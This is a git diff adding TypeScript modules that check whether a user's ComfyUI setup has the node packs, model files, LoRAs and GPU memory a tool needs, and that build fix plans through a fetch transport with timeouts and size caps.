+ if (lora?.download === "civitai-token") return "civitai-key";
+ if (lora?.download === "hf-gated") return "gated";
+ const f = n.file ? idx.files[n.file] : undefined;
+ if (f?.gated) return "gated";
+ if (noManager) return "no-manager";
+ if (api === "v3") return "manager-v3-model-list";
+ if (api === "v4" && inv?.comfy && !inv.comfy.flags.loopbackOnly) return "listen-all";
+ return "manual-only";
+ }
+ default:
+ return noManager ? "no-manager" : "manual-only";
+ }
+}
+
+/** The page behind a Hugging Face resolve URL ("https://huggingface.co/<repo>"). */
+export function hfPage(url: string | undefined): string | undefined {
+ const m = url ? /^https:\/\/huggingface\.co\/((?:datasets\/)?[\w.-]+\/[\w.-]+)\//.exec(url) : null;
+ return m ? `https://huggingface.co/${m[1]}` : undefined;
+}
+
+export interface PlanOptions {
+ /** sha256 hex of a string (the server's). */
+ hash: (s: string) => string;
+ /** The target's address hash: a new address makes a new plan. */
+ urlHash: string;
+ /** An account: no "Use cloud" (it can't run on the owner's keys). */
+ account: boolean;
+ loras?: LoraNeed[];
+ fits?: { ref: ToolRef; name: string; state: Readiness }[];
+ gpu?: string;
+}
+
+export function fixPlan(t: ToolReadiness, inv: GpuInventory | null, idx: RequirementIndex, o: PlanOptions): FixPlan {
+ const loras = new Map((o.loras ?? []).map((l) => [l.file, l]));
+ const needs = [...t.needs].sort((a, b) => ORDER[a.kind] - ORDER[b.kind]);
+ // A civitai LoRA needs the viewer's own key first.
+ const civitai = needs.some((n) => n.lora && loras.get(n.lora)?.download === "civitai-token");
+ if (civitai) needs.splice(needs.findIndex((n) => ORDER[n.kind] >= ORDER["civitai-key"]), 0, { key: "civitai-key", kind: "civitai-key", label: "Add your civitai API key", detail: "Some style files download from civitai, which needs a free account and its API key." });
+ const steps: FixStep[] = needs.map((n, i) => {
+ const lora = n.lora ? loras.get(n.lora) : undefined;
+ const f = n.file ? idx.files[n.file] : undefined;
+ const link = n.kind === "hf-licence" ? (lora?.page ?? hfPage(f?.url ?? n.detail)) : lora?.page;
+ return { ...n, id: `s${i + 1}`, via: "manual", why: whyOf(n, inv, idx, lora), commands: { bash: "", powershell: "" }, ...(link && { link }) };
+ });
+ const cmdSteps: CommandStep[] = steps.map((s) => {
+ const lora = s.lora ? loras.get(s.lora) : undefined;
+ return { kind: s.kind, pack: s.pack, file: s.file, link: s.link, ...(lora && { lora: { file: lora.file, url: lora.url, download: lora.download, page: lora.page } }) };
+ });
+ const cmds = commandsFor(cmdSteps, { inv, idx });
+ steps.forEach((s, i) => (s.commands = cmds.each[i]));
+ // The hash covers what the steps would install, where from and at which version (R2: the fix route rebuilds and compares it).
+ const parts = steps
+ .map((s) => {
+ const f = s.file ? idx.files[s.file] : undefined;
+ const p = s.pack ? idx.packs[s.pack] : undefined;
+ const l = s.lora ? loras.get(s.lora) : undefined;
+ return [s.key, s.kind, f?.pinnedUrl, f?.sizeBytes, p?.commit, p?.registry?.version, l?.url].map((x) => x ?? "").join("|");
+ })
+ .sort();
+ return {
+ ref: t.ref,
+ name: t.name,
+ state: t.state,
+ steps,
+ have: t.have,
+ downloadBytes: t.downloadBytes,
+ etaMin: etaRange(t.downloadBytes),
+ restart: steps.some((s) => s.kind === "restart"),
+ oneClick: "none",
+ why: inv?.manager.api === "none" ? "no-manager" : "manual-only",
+ planHash: o.hash([o.urlHash, idx.hash, ...parts].join("\n")),
+ commands: { bash: cmds.bash, powershell: cmds.powershell },
+ vram: t.vram,
+ firstRun: t.firstRun,
+ unobservable: t.unobservable,
+ alternatives: { ...(t.cloud && !o.account && { cloud: t.cloud }), ...(o.fits?.length && { fits: o.fits }) },
+ ...(o.gpu && { gpu: o.gpu }),
+ ...(inv?.comfy?.os && { os: inv.comfy.os }),
+ };
+}
diff --git a/src/lib/gpu/readiness.ts b/src/lib/gpu/readiness.ts
new file mode 100644
index 00000000..7aad3f92
--- /dev/null
+++ b/src/lib/gpu/readiness.ts
@@ -0,0 +1,333 @@
+import { compareVersions, formatBytes, nameKey, splitKey, vramGb } from "./requirements";
+import type { Badge, FileKey, GpuInventory, IndexFile, InventorySummary, Need, Readiness, RequirementIndex, ToolReadiness, ToolRef, VramFit } from "./types";
+
+/**
+ * What can run on a viewer's ComfyUI (SPEC §7, review items 9 and 15). Pure: the same code runs on the
+ * server (tunnel mode) and in the browser. A fact the probe didn't read never counts as missing, so an
+ * unread class or folder never blocks a run (R11); VRAM only warns (R7).
+ */
+
+/** Worst first. */
+const RANK: Readiness[] = ["unknown", "unsupported", "gpu", "setup", "almost", "ready"];
+export const worse = (a: Readiness, b: Readiness): Readiness => (RANK.indexOf(a) <= RANK.indexOf(b) ? a : b);
+export const rankOf = (s: Readiness): number => RANK.indexOf(s);
+
+/** ComfyUI's device names: "cuda:0 NVIDIA GeForce RTX 4070 : cudaMallocAsync" → "NVIDIA GeForce RTX 4070". */
+export function deviceLabel(name: string | undefined): string {
+ return (name ?? "")
+ .replace(/^(cuda|xpu|mps|cpu)(:\d+)?\s+/i, "")
+ .replace(/\s*:\s*(cudaMallocAsync|native|[a-z]+Alloc\w*)\s*$/i, "")
+ .trim();
+}
+
+/** The short name people use: "NVIDIA GeForce RTX 4070" → "RTX 4070". */
+export function shortGpu(name: string | undefined): string {
+ return deviceLabel(name).replace(/^(NVIDIA\s+)?(GeForce\s+)?/i, "").trim() || "GPU";
+}
+
+/** Extensions ComfyUI's folder listings show (supported_pt_extensions). */
+const LISTED = /\.(ckpt|pt|pt2|bin|pth|safetensors|pkl|sft)$/i;
+
+export type FileState = "present" | "partial" | "missing" | "unknown" | "unobservable";
+
+/** Is this index file on that ComfyUI: by its loader's combo list first, then the folder listing. */
+export function filePresence(f: IndexFile, inv: GpuInventory): FileState {
+ if (f.presence === "unobservable") return "unobservable";
+ const listing = inv.models[f.folder];
+ const size = listing && !listing.folderMissing ? listing.have[f.file] : undefined;
+ const short = typeof size === "number" && f.sizeBytes > 0 && size < 0.99 * f.sizeBytes;
+ if (f.presence === "loader") {
+ let said: boolean | undefined;
+ for (const [cls, input] of f.loaders ?? []) {
+ const combo = inv.combos[`${cls}.${input}`];
+ if (combo) said = said || combo.includes(f.file);
+ }
+ if (said === true) return short ? "partial" : "present";
+ if (said === false) return "missing";
+ }
+ // No loader read: the folder listing decides, for the files a listing can show.
+ if (size !== undefined) return short ? "partial" : "present";
+ if (!LISTED.test(f.file)) return "unknown";
+ if (listing) return "missing";
+ return "unknown";
+}
+
+const FOLDER_LABEL: Record<string, string> = {
+ diffusion_models: "Main model",
+ checkpoints: "Main model",
+ unet: "Main model",
+ text_encoders: "Text reader",
+ clip: "Text reader",
+ vae: "Decoder",
+ loras: "Speed or style file (LoRA)",
+ clip_vision: "Image reader",
+ audio_encoders: "Audio reader",
+ upscale_models: "Upscaler",
+ latent_upscale_models: "Upscaler",
+ model_patches: "Model patch",
+ frame_interpolation: "Frame interpolator",
+ background_removal: "Background remover",
+ optical_flow: "Motion reader",
+ geometry_estimation: "Depth reader",
+};
+
+export function fileLabel(folder: string, kind?: string): string {
+ const base = FOLDER_LABEL[folder];
+ if (base === "Main model" && kind) return `${kind[0].toUpperCase()}${kind.slice(1)} model`;
+ return base ?? "Model file";
+}
+
+/** "ComfyUI-KJNodes" → "KJNodes". */
+export const packLabel = (name: string) => name.replace(/^ComfyUI[-_]/i, "").replace(/[-_]/g, " ");
+
+export interface ReadinessContext {
+ /** An account's own GPU (isolated workflows aren't supported there yet). */
+ account: boolean;
+ /** The owner has an isolated worker set up. */
+ isolatedUrl?: boolean;
+ /** The tool's output kind, for labels ("Video model"). */
+ kind?: string;
+}
+
+export interface WorkflowReadiness {
+ state: Readiness;
+ needs: Need[];
+ have: Need[];
+ vram: ToolReadiness["vram"];
+ firstRun: string[];
+ unvalidated: boolean;
+ unobservable: string[];
+ reason?: string;
+}
+
+export function vramFit(needGb: number, inv: GpuInventory): ToolReadiness["vram"] {
+ const d = inv.devices[0];
+ const cpu = !d || inv.comfy?.flags.cpuOnly || !(d.type === "cuda" || d.type === "mps" || d.type === "xpu");
+ const haveGb = cpu ? 0 : (vramGb(d.vramTotal) ?? 0);
+ const apple = !cpu && d.type === "mps";
+ let fit: VramFit;
+ if (!needGb) fit = "any";
+ else if (haveGb >= needGb) fit = "fits";
+ else if (haveGb >= 0.66 * needGb) fit = "tight";
+ else fit = "no";
+ return { needGb, haveGb, fit, ...(apple && { apple: true }) };
+}
+
+function fileNeed(key: FileKey, f: IndexFile, kind: "model" | "model-replace", ctx: ReadinessContext): Need {
+ return {
+ key: `file:${key}`,
+ kind,
+ label: fileLabel(f.folder, ctx.kind),
+ detail: `${f.file} → models/${f.folder}`,
+ sizeBytes: f.sizeBytes,
+ file: key,
+ };
+}
+
+/** SPEC §7.1, one workflow. */
+export function workflowReadiness(id: string, inv: GpuInventory, idx: RequirementIndex, ctx: ReadinessContext): WorkflowReadiness {
+ const w = idx.workflows[id];
+ const base: WorkflowReadiness = { state: "unknown", needs: [], have: [], vram: { needGb: 0, fit: "any" }, firstRun: [], unvalidated: false, unobservable: [] };
+ if (!w || !inv.reachable) return base;
+ const out: WorkflowReadiness = { ...base, state: "ready", firstRun: w.firstRun, unvalidated: !w.validated, vram: vramFit(w.vramGb, inv) };
+ if (w.isolated && ctx.account) return { ...out, state: "unsupported", reason: "This one needs a second ComfyUI running alongside the first, which Your GPU doesn't connect yet." };
+ if (w.isolated && !ctx.isolatedUrl) {
+ out.needs.push({ key: "isolated-worker", kind: "isolated-worker", label: "A second ComfyUI (the isolated worker)", detail: "Some add-ons change process-wide settings, so they run on a separate ComfyUI." });
+ }
+ const missing = new Set(inv.nodes.missing);
+ // Core classes: an older ComfyUI, or built-in nodes that didn't load (review 15).
+ const core = w.core.filter((c) => missing.has(c));
+ if (core.length) {
+ const old = !!inv.comfy?.version && compareVersions(inv.comfy.version, idx.comfyui.min) < 0;
+ out.needs.push(
+ old
+ ? { key: "core", kind: "comfy-update", label: `Update ComfyUI to ${idx.comfyui.min} or newer`, detail: `Missing built-in nodes: ${core.join(", ")}`, classes: core }
+ : {
+ key: "core",
+ kind: "core-missing",
+ label: "Some of ComfyUI's built-in nodes didn't load",
+ detail: `Missing: ${core.join(", ")}. Look for IMPORT FAILED in the ComfyUI window.`,
+ classes: core,
+ },
+ );
+ }
+ // Add-ons.
+ const packNeeds = new Set<string>();
+ for (const [name, classes] of Object.entries(w.packs)) {
+ const gone = classes.filter((c) => missing.has(c));
+ const label = `Add-on: ${packLabel(name)}`;
+ if (!gone.length) {
+ out.have.push({ key: `pack:${name}`, kind: "pack-install", label, detail: name, pack: name });
+ continue;
+ }
+ const listed = inv.packs[name];
+ let need: Need;
+ if (gone.length < classes.length) need = { key: `pack:${name}`, kind: "pack-update", label: `Update add-on: ${packLabel(name)}`, detail: `${name} is an older version. Missing: ${gone.join(", ")}`, pack: name };
+ else if (listed?.importError) need = { key: `pack:${name}`, kind: "pack-repair", label: `Repair add-on: ${packLabel(name)}`, detail: `${name} is installed but didn't start.`, pack: name, remote: listed.importError };
+ else if (listed && listed.enabled) need = { key: `restart:${name}`, kind: "restart", label: "Restart ComfyUI", detail: `${name} was installed since ComfyUI last started.`, pack: name };
+ else need = { key: `pack:${name}`, kind: "pack-install", label, detail: `${name} (${idx.packs[name]?.repo ?? "custom node pack"})`, pack: name };
+ out.needs.push(need);
+ if (need.kind !== "restart") packNeeds.add(name);
+ }
+ if (packNeeds.size) out.needs.push({ key: "restart", kind: "restart", label: "Restart ComfyUI", detail: "ComfyUI loads new add-ons when it starts." });
+ // Files.
+ for (const key of w.files) {
+ const f = idx.files[key];
+ if (!f) continue;
+ const s = filePresence(f, inv);
+ if (s === "unobservable") out.unobservable.push(f.file);
+ else if (s === "present") out.have.push(fileNeed(key, f, "model", ctx));
+ else if (s === "partial") out.needs.push({ ...fileNeed(key, f, "model-replace", ctx), detail: `${f.file} in models/${f.folder} is only partly downloaded` });
+ else if (s === "missing") {
+ out.needs.push(fileNeed(key, f, "model", ctx));
+ if (f.gated) out.needs.push({ key: `licence:${key}`, kind: "hf-licence", label: "Accept the model's licence on Hugging Face", detail: f.url, file: key });
+ }
+ // "unknown": not read, so not missing.
+ }
+ return { ...out, state: stateOf(out.needs, out.vram.fit) };
+}
+
+/** Steps a person takes (a restart or a licence that comes with another step doesn't count; one pack and its restart is one). */
+export function stepCount(needs: Need[]): number {
+ const real = needs.filter((n) => n.kind !== "restart" && n.kind !== "hf-licence");
+ if (real.length) return real.length;
+ return needs.some((n) => n.kind === "restart") ? 1 : 0;
+}
+
+function stateOf(needs: Need[], fit: VramFit): Readiness {
+ if (fit === "no") return "gpu";
+ const steps = stepCount(needs);
+ return steps === 0 ? "ready" : steps === 1 ? "almost" : "setup";
+}
+
+/** A preset's or recipe's LoRA, as the plan needs it (from LORA_LIBRARY or the OSS LoRA tables). */
+export interface LoraNeed {
+ file: string;
+ url?: string;
+ sizeBytes?: number;
+ sha256?: string;
+ download: "direct" | "civitai-token" | "hf-gated";
+ page?: string;
+}
+
+export type LoraState = "present" | "missing" | "unknown";
+
+export function loraPresence(l: LoraNeed, inv: GpuInventory): LoraState {
+ const key = nameKey(inv.comfy?.os);
+ if (Object.keys(inv.loras).some((n) => key(n) === key(l.file))) return "present";
+ const folder = inv.models.loras;
+ return folder && !folder.folderMissing ? "missing" : "unknown";
+}
+
+/** SPEC §7.2: one tool = the union of its workflows (and prestep), plus its LoRAs. */
+export function toolReadiness(
+ ref: ToolRef,
+ name: string,
+ workflowIds: string[],
+ loras: LoraNeed[],
+ inv: GpuInventory,
+ idx: RequirementIndex,
+ ctx: ReadinessContext,
+ cloud?: { modelId: string },
+): ToolReadiness {
+ const out: ToolReadiness = { ref, name, state: "unknown", needs: [], have: [], downloadBytes: 0, vram: { needGb: 0, fit: "any" }, firstRun: [], unvalidated: false, unobservable: [] };
+ if (cloud && !ctx.account) out.cloud = cloud;
+ if (!inv.reachable) return out;
+ const parts = workflowIds.map((id) => workflowReadiness(id, inv, idx, ctx)).filter((r, i) => !!idx.workflows[workflowIds[i]]);
+ if (!parts.length) return out;
+ const needs = new Map<string, Need>();
+ const have = new Map<string, Need>();
+ let needGb = 0;
+ for (const p of parts) {
+ if (p.state === "unsupported") return { ...out, state: "unsupported", reason: p.reason, vram: p.vram };
+ for (const n of p.needs) if (!needs.has(n.key)) needs.set(n.key, n);
+ for (const h of p.have) if (!have.has(h.key)) have.set(h.key, h);
+ needGb = Math.max(needGb, p.vram.needGb);
+ out.firstRun.push(...p.firstRun.filter((x) => !out.firstRun.includes(x)));
+ out.unobservable.push(...p.unobservable.filter((x) => !out.unobservable.includes(x)));
+ out.unvalidated ||= p.unvalidated;
+ }
+ // A pack that needs installing makes its own "installed since the last start" restart line redundant.
+ for (const [k, n] of needs) if (n.kind === "restart" && k !== "restart" && needs.has("restart")) needs.delete(k);
+ for (const l of loras) {
+ const s = loraPresence(l, inv);
+ const key = `lora:${l.file}`;
+ const need: Need = { key, kind: "lora", label: "Style file (LoRA)", detail: `${l.file} → models/loras`, ...(l.sizeBytes && { sizeBytes: l.sizeBytes }), lora: l.file };
+ if (s === "present") have.set(key, need);
+ else if (s === "missing" && !needs.has(key)) {
+ needs.set(key, need);
+ if (l.download === "hf-gated") needs.set(`licence:${key}`, { key: `licence:${key}`, kind: "hf-licence", label: "Accept the LoRA's licence on Hugging Face", detail: l.page ?? l.url ?? l.file, lora: l.file });
+ }
+ }
+ for (const k of have.keys()) if (needs.has(k)) have.delete(k);
+ out.needs = [...needs.values()];
+ out.have = [...have.values()];
+ out.downloadBytes = out.needs.filter((n) => n.kind === "model" || n.kind === "model-replace" || n.kind === "lora").reduce((a, n) => a + (n.sizeBytes ?? 0), 0);
+ out.vram = vramFit(needGb, inv);
+ out.state = stateOf(out.needs, out.vram.fit);
+ return out;
+}
+
+/** The chip a tool gets (null: no chip, for an unknown state). */
+export function badgeOf(t: ToolReadiness): Badge | null {
+ const code = ({ ready: "r", almost: "a", setup: "s", gpu: "g", unsupported: "u" } as const)[t.state as Exclude<Readiness, "unknown">];
+ if (!code) return null;
+ const flags = (t.vram.fit === "tight" ? 1 : 0) | (t.firstRun.length ? 2 : 0) | (t.vram.fit === "any" ? 4 : 0);
+ return [code, stepCount(t.needs), Math.round(t.downloadBytes / 1e8), flags];
+}
+
+export const BADGE_STATE: Record<Badge[0], Readiness> = { r: "ready", a: "almost", s: "setup", g: "gpu", u: "unsupported" };
+
+/** "What you have installed and downloaded". */
+export function summaryOf(inv: GpuInventory, idx: RequirementIndex): InventorySummary {
+ const d = inv.devices[0];
+ const missing = new Set(inv.nodes.missing);
+ const have = new Set(inv.nodes.have);
+ const packs = Object.values(idx.packs).filter((p) => p.classes.length > 0);
+ const packsHave = packs.filter((p) => p.classes.every((c) => !missing.has(c) && (inv.nodes.how === "per-class" || have.has(c)))).length;
+ const files = Object.values(idx.files);
+ const present = files.filter((f) => filePresence(f, inv) === "present");
+ const gpuName = d && (d.type === "cuda" || d.type === "mps" || d.type === "xpu") ? deviceLabel(d.name) : undefined;
+ return {
+ ...(gpuName && { gpu: gpuName }),
+ ...(gpuName && vramGb(d.vramTotal) && { vramGb: vramGb(d.vramTotal) }),
+ ...(inv.ram && { ramGb: vramGb(inv.ram.total) }),
+ ...(inv.comfy?.version && { comfyVersion: inv.comfy.version }),
+ manager: inv.manager.api === "none" ? "Manager off" : inv.manager.api === "unknown" ? "Manager not checked" : `Manager ${(inv.manager.version ?? "").replace(/^V/i, "")}`.trim(),
+ packs: { have: packsHave, of: packs.length },
+ files: { have: present.length, of: files.length, bytes: present.reduce((a, f) => a + f.sizeBytes, 0) },
+ };
+}
+
+/** The line under a chip or a board row: "1 download · 12.3 GB", "Needs 24 GB", "Ready". */
+export function stateLine(t: Pick<ToolReadiness, "state" | "needs" | "downloadBytes" | "vram">): string {
+ if (t.state === "ready") return t.vram.fit === "any" ? "Runs on any computer" : t.vram.fit === "tight" ? "Ready · slow on your GPU" : "Ready";
+ if (t.state === "gpu") return `Needs ${t.vram.needGb} GB`;
+ if (t.state === "unsupported") return "Needs a second ComfyUI";
+ if (t.state === "unknown") return "Not checked";
+ const steps = stepCount(t.needs);
+ const downloads = t.needs.filter((n) => n.kind === "model" || n.kind === "lora" || n.kind === "model-replace").length;
+ const packs = t.needs.filter((n) => n.kind.startsWith("pack-")).length;
+ const restart = t.needs.some((n) => n.kind === "restart");
+ if (downloads && !packs && steps === downloads) return `${downloads} download${downloads > 1 ? "s" : ""} · ${formatBytes(t.downloadBytes)}`;
+ if (packs && !downloads && steps === packs) return `${packs} add-on${packs > 1 ? "s" : ""}${restart ? " + restart" : ""}`;
+ return `${steps} step${steps > 1 ? "s" : ""}${t.downloadBytes ? ` · ${formatBytes(t.downloadBytes)}` : ""}`;
+}
+
+/** The file keys and pack classes a tool's needs name (what a targeted re-check reads). */
+export function needTargets(needs: Need[], idx: RequirementIndex): { classes: string[]; folders: string[] } {
+ const classes = new Set<string>();
+ const folders = new Set<string>();
+ for (const n of needs) {
+ if (n.pack) for (const c of idx.packs[n.pack]?.classes ?? []) classes.add(c);
+ for (const c of n.classes ?? []) classes.add(c);
+ if (n.file) {
+ const f = idx.files[n.file];
+ const { folder } = splitKey(n.file);
+ folders.add(folder);
+ for (const [cls] of f?.loaders ?? []) classes.add(cls);
+ }
+ if (n.lora) folders.add("loras");
+ }
+ return { classes: [...classes], folders: [...folders] };
+}
diff --git a/src/lib/gpu/requirements.ts b/src/lib/gpu/requirements.ts
new file mode 100644
index 00000000..4d3c806f
--- /dev/null
+++ b/src/lib/gpu/requirements.ts
@@ -0,0 +1,96 @@
+import type { FileKey, RequirementIndex } from "./types";
+
+/** "folder/file" for an index file. */
+export const fileKey = (folder: string, file: string): FileKey => `${folder}/${file}` as FileKey;
+
+/** The base name ComfyUI lists a file under: "wan/x.safetensors" and "wan\\x.safetensors" count as "x.safetensors". */
+export const basename = (name: string): string => name.split(/[\\/]/).pop() ?? name;
+
+/** The folder and file of a FileKey. */
+export function splitKey(key: FileKey | string): { folder: string; file: string } {
+ const i = key.indexOf("/");
+ return { folder: key.slice(0, i), file: key.slice(i + 1) };
+}
+
+/**
+ * How file names compare on that ComfyUI: case-sensitively on Linux, case-insensitively on Windows ("nt")
+ * and macOS ("darwin", whose default file system ignores case).
+ */
+export function sameName(os: string | undefined): (a: string, b: string) => boolean {
+ const fold = os === "nt" || os === "darwin" || os === "windows" || os === "win32";
+ return fold ? (a, b) => a.toLowerCase() === b.toLowerCase() : (a, b) => a === b;
+}
+
+/** A name key for lookups in a Set or Map (folded on case-insensitive systems). */
+export function nameKey(os: string | undefined): (name: string) => string {
+ const fold = os === "nt" || os === "darwin" || os === "windows" || os === "win32";
+ return fold ? (n) => basename(n).toLowerCase() : (n) => basename(n);
+}
+
+/** Check that a parsed requirements.json has the shape this code reads (a stale or hand-edited file fails loudly). */
+export function parseIndex(raw: unknown): RequirementIndex {
+ const r = raw as Partial<RequirementIndex> | null;
+ if (!r || typeof r !== "object" || r.v !== 1) throw new Error("requirements.json: not a v1 requirement index");
+ if (typeof r.hash !== "string" || !r.comfyui || typeof r.comfyui.min !== "string") throw new Error("requirements.json: missing hash or comfyui.min");
+ for (const k of ["packs", "files", "workflows"] as const) if (!r[k] || typeof r[k] !== "object") throw new Error(`requirements.json: missing ${k}`);
+ if (!Array.isArray(r.folders) || !Array.isArray(r.sentinels)) throw new Error("requirements.json: missing folders or sentinels");
+ return r as RequirementIndex;
+}
+
+/** Every node class an index names (core and pack). */
+export function indexClasses(idx: RequirementIndex): Set<string> {
+ const out = new Set<string>();
+ for (const w of Object.values(idx.workflows)) {
+ for (const c of w.core) out.add(c);
+ for (const cs of Object.values(w.packs)) for (const c of cs) out.add(c);
+ }
+ return out;
+}
+
+/** The pack each pack class belongs to. */
+export function classPacks(idx: RequirementIndex): Map<string, string> {
+ const out = new Map<string, string>();
+ for (const [name, p] of Object.entries(idx.packs)) for (const c of p.classes) out.set(c, name);
+ for (const w of Object.values(idx.workflows)) for (const [p, cs] of Object.entries(w.packs)) for (const c of cs) if (!out.has(c)) out.set(c, p);
+ return out;
+}
+
+/** Loader classes and inputs the index reads files through: "Class.input" → the base names it looks for. */
+export function loaderInputs(idx: RequirementIndex): Map<string, Set<string>> {
+ const out = new Map<string, Set<string>>();
+ for (const f of Object.values(idx.files)) {
+ if (f.presence !== "loader") continue;
+ for (const [cls, input] of f.loaders ?? []) {
+ const k = `${cls}.${input}`;
+ if (!out.has(k)) out.set(k, new Set());
+ out.get(k)!.add(f.file);
+ }
+ }
+ return out;
+}
+
+/** Compare dotted versions ("0.41.2" vs "0.41.0"): negative, zero or positive. Non-numeric parts count as 0. */
+export function compareVersions(a: string, b: string): number {
+ const pa = a.replace(/^v/i, "").split(/[.+-]/).map((x) => parseInt(x, 10) || 0);
+ const pb = b.replace(/^v/i, "").split(/[.+-]/).map((x) => parseInt(x, 10) || 0);
+ for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
+ const d = (pa[i] ?? 0) - (pb[i] ?? 0);
+ if (d) return d;
+ }
+ return 0;
+}
+
+/** Bytes as "12.3 GB" / "340 MB" (decimal units, as the download sizes are). */
+export function formatBytes(bytes: number): string {
+ if (!bytes || bytes < 0) return "0 GB";
+ if (bytes >= 1e9) return `${Math.round(bytes / 1e8) / 10} GB`;
+ if (bytes >= 1e6) return `${Math.round(bytes / 1e6)} MB`;
+ return `${Math.max(1, Math.round(bytes / 1e3))} KB`;
+}
+
+/** GiB of graphics memory as people say it ("12 GB", "7.6 GB"). */
+export function vramGb(bytes: number | undefined): number | undefined {
+ if (!bytes || bytes <= 0) return undefined;
+ const gb = bytes / 2 ** 30;
+ return gb >= 10 ? Math.round(gb) : Math.round(gb * 10) / 10;
+}
diff --git a/src/lib/gpu/transport.ts b/src/lib/gpu/transport.ts
new file mode 100644
index 00000000..218c1fdc
--- /dev/null
+++ b/src/lib/gpu/transport.ts
@@ -0,0 +1,155 @@
+/**
+ * How the pre-flight talks to a ComfyUI: from Fuobe's server (a tunnel address, through fetchPublic) or from
+ * the visitor's own tab (127.0.0.1, browser-direct). The probe (gather.ts) doesn't care which. Every request
+ * has a total deadline and a byte cap counted while the body streams in (SPEC review 6c).
+ */
+
+export const DEFAULT_MAX_BYTES = 2 * 1024 * 1024;
+
+export type TransportErrorKind = "timeout" | "too-big" | "unreachable" | "encoding" | "refused";
+
+export class TransportError extends Error {
+ constructor(
+ readonly kind: TransportErrorKind,
+ message: string,
+ ) {
+ super(message);
+ }
+}
+
+export interface TransportResponse {
+ status: number;
+ header(name: string): string | null;
+ /** The body as chunks, cut off (TransportError "too-big") past the byte cap. Read once. */
+ chunks(): AsyncIterable<Uint8Array>;
+ text(): Promise<string>;
+ json<T>(): Promise<T>;
+ /** Drop the body unread (and stop the deadline timer). */
+ discard(): void;
+}
+
+export interface RequestOptions {
+ /** A JSON body (sent as application/json). A POST without one sends no body and no Content-Type (the Manager's CSRF rule). */
+ json?: unknown;
+ timeoutMs?: number;
+ maxBytes?: number;
+}
+
+export interface ComfyTransport {
+ via: "server" | "browser";
+ request(method: "GET" | "POST", path: string, o?: RequestOptions): Promise<TransportResponse>;
+}
+
+/** Things fetch() returns that the wrapper needs (a web Response). */
+interface FetchedLike {
+ status: number;
+ headers: { get(name: string): string | null };
+ body: ReadableStream<Uint8Array> | null;
+}
+
+/**
+ * Wrap a fetch() Response: the body streams through a byte cap, and `finish` runs once the body is read,
+ * fails or is dropped (it clears the request's deadline timer).
+ */
+export function wrapResponse(res: FetchedLike, o: { maxBytes: number; finish: () => void; aborted: () => TransportError | null }): TransportResponse {
+ let used = false;
+ async function* chunks(): AsyncIterable<Uint8Array> {
+ if (used) throw new Error("The body was already read");
+ used = true;
+ const reader = res.body?.getReader();
+ if (!reader) return o.finish();
+ let size = 0;
+ try {
+ while (true) {
+ let step: ReadableStreamReadResult<Uint8Array>;
+ try {
+ step = await reader.read();
+ } catch (e) {
+ throw o.aborted() ?? new TransportError("unreachable", `The answer stopped: ${(e as Error).message}`);
+ }
+ if (step.done) break;
+ size += step.value.byteLength;
+ if (size > o.maxBytes) throw new TransportError("too-big", `The answer is over ${Math.round(o.maxBytes / 1024 / 1024)} MB`);
+ yield step.value;
+ }
+ } finally {
+ o.finish();
+ reader.cancel().catch(() => {});
+ }
+ }
+ const text = async () => {
+ const decoder = new TextDecoder();
+ let out = "";
+ for await (const c of chunks()) out += decoder.decode(c, { stream: true });
+ return out + decoder.decode();
+ };
+ return {
+ status: res.status,
+ header: (name) => res.headers.get(name),
+ chunks,
+ text,
+ discard: () => {
+ if (used) return;
+ used = true;
+ o.finish();
+ res.body?.cancel().catch(() => {});
+ },
+ json: async <T,>() => {
+ const t = await text();
+ try {
+ return JSON.parse(t) as T;
+ } catch {
+ throw new TransportError("encoding", /^\s*</.test(t) ? "The answer is a web page, not ComfyUI's JSON" : "The answer isn't JSON");
+ }
+ },
+ };
+}
+
+/**
+ * A transport over a fetch function: a total deadline per request (an AbortSignal, which also stops a server
+ * that sends one byte at a time), the byte cap, and no compressed bodies unless the fetch decodes them itself.
+ */
+export function fetchTransport(
+ via: "server" | "browser",
+ base: string,
+ doFetch: (url: string, init: RequestInit) => Promise<FetchedLike>,
+ o: { headers?: Record<string, string>; defaultTimeoutMs?: number; decodes?: boolean } = {},
+): ComfyTransport {
+ const root = base.replace(/\/+$/, "");
+ return {
+ via,
+ async request(method, path, ro = {}) {
+ const ctrl = new AbortController();
+ const timeoutMs = ro.timeoutMs ?? o.defaultTimeoutMs ?? 10_000;
+ let timedOut = false;
+ const timer = setTimeout(() => {
+ timedOut = true;
+ ctrl.abort();
+ }, timeoutMs);
+ const finish = () => clearTimeout(timer);
+ const aborted = () => (timedOut ? new TransportError("timeout", `No answer within ${Math.round(timeoutMs / 1000)} s`) : null);
+ const headers: Record<string, string> = { Accept: "application/json", ...(o.headers ?? {}) };
+ // Only a fetch that decodes (the browser's, undici's) may be offered compressed bodies.
+ if (!o.decodes) headers["Accept-Encoding"] = "identity";
+ let body: string | undefined;
+ if (method === "POST" && ro.json !== undefined) {
+ body = JSON.stringify(ro.json);
+ headers["Content-Type"] = "application/json";
+ }
+ let res: FetchedLike;
+ try {
+ res = await doFetch(`${root}${path}`, { method, headers, body, signal: ctrl.signal, redirect: "manual", cache: "no-store", credentials: "omit" } as RequestInit);
+ } catch (e) {
+ finish();
+ throw aborted() ?? (e instanceof TransportError ? e : new TransportError("unreachable", (e as Error).message || "No answer"));
+ }
+ const enc = (res.headers.get("content-encoding") ?? "identity").toLowerCase();
+ if (!o.decodes && enc !== "identity" && enc !== "") {
+ finish();
+ res.body?.cancel().catch(() => {});
+ throw new TransportError("encoding", `The answer is compressed (${enc}), which the check doesn't read`);
+ }
+ return wrapResponse(res, { maxBytes: ro.maxBytes ?? DEFAULT_MAX_BYTES, finish, aborted });
+ },
+ };
+}
diff --git a/src/lib/gpu/types.ts b/src/lib/gpu/types.ts
new file mode 100644
index 00000000..5e358229
--- /dev/null
+++ b/src/lib/gpu/types.ts
@@ -0,0 +1,321 @@
+/**
+ * GPU pre-flight: what each tool needs (the requirement index, built at build time from the workflow
+ * library), what a viewer's ComfyUI has (the inventory a probe reads), and what can run there
+ * (readiness, badges, fix plans). Shared by the server and the browser: no server-only imports.
+ */
+
+/** A model file as `folder/file` (the file's base name, never a subfolder). */
+export type FileKey = `${string}/${string}`;
+
+/**
+ * How Fuobe can tell a file is there:
+ * - "loader": the combo list of the node input that loads it (GET /object_info/{Class}), which is exactly
+ * what that ComfyUI can load (extra_model_paths, pack folders, any extension);
+ * - "list": the folder listing (GET /experiment/models/{folder} or /models/{folder});
+ * - "unobservable": neither shows it (a file a node pack reads by its own path). It never blocks a run.
+ */
